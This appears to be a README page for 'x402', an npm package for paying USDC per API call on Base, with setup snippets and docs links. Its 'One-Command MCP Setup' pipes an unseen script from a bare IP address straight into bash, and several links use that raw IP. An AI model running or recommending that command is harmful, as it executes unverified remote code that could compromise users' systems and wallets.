x402 — Pay-per-Call Protocol for AI Agents
Pay USDC per API call on Base. No subscriptions, no signup, no credit card.
npm install x402
Quick Start
import x402 from 'x402';
const api = x402.init({
endpoint: 'https://api.gadgethumans.com/v1/proxy',
wallet: '0xYOUR_WALLET'
});
// Each call costs 0.01 USDC
const data = await api.get('https://yourapi.com/data');
Why x402
- Pay per use — not per month. Fair for everyone.
- USDC on Base — cheap (fractions of a cent per txn), fast (seconds).
- No KYC — just a wallet. No Stripe, no bank account.
- Open source — MIT license.
Docs
- Full documentation: https://167.88.167.30:7443/docs/
- GadgetHumans MCP (58 tools): https://167.88.167.30:8443/health
- x402 Pro (hosted): https://167.88.167.30:9443/
One-Command MCP Setup
curl -s https://167.88.167.30/install | bash
Integration
# Register your API to start collecting payments
curl -X POST https://api.gadgethumans.com/v1/proxy/register \
-H "Content-Type: application/json" \
-d '{"endpoint": "https://yourapi.com/data", "price_usdc": 0.01}'
License
MIT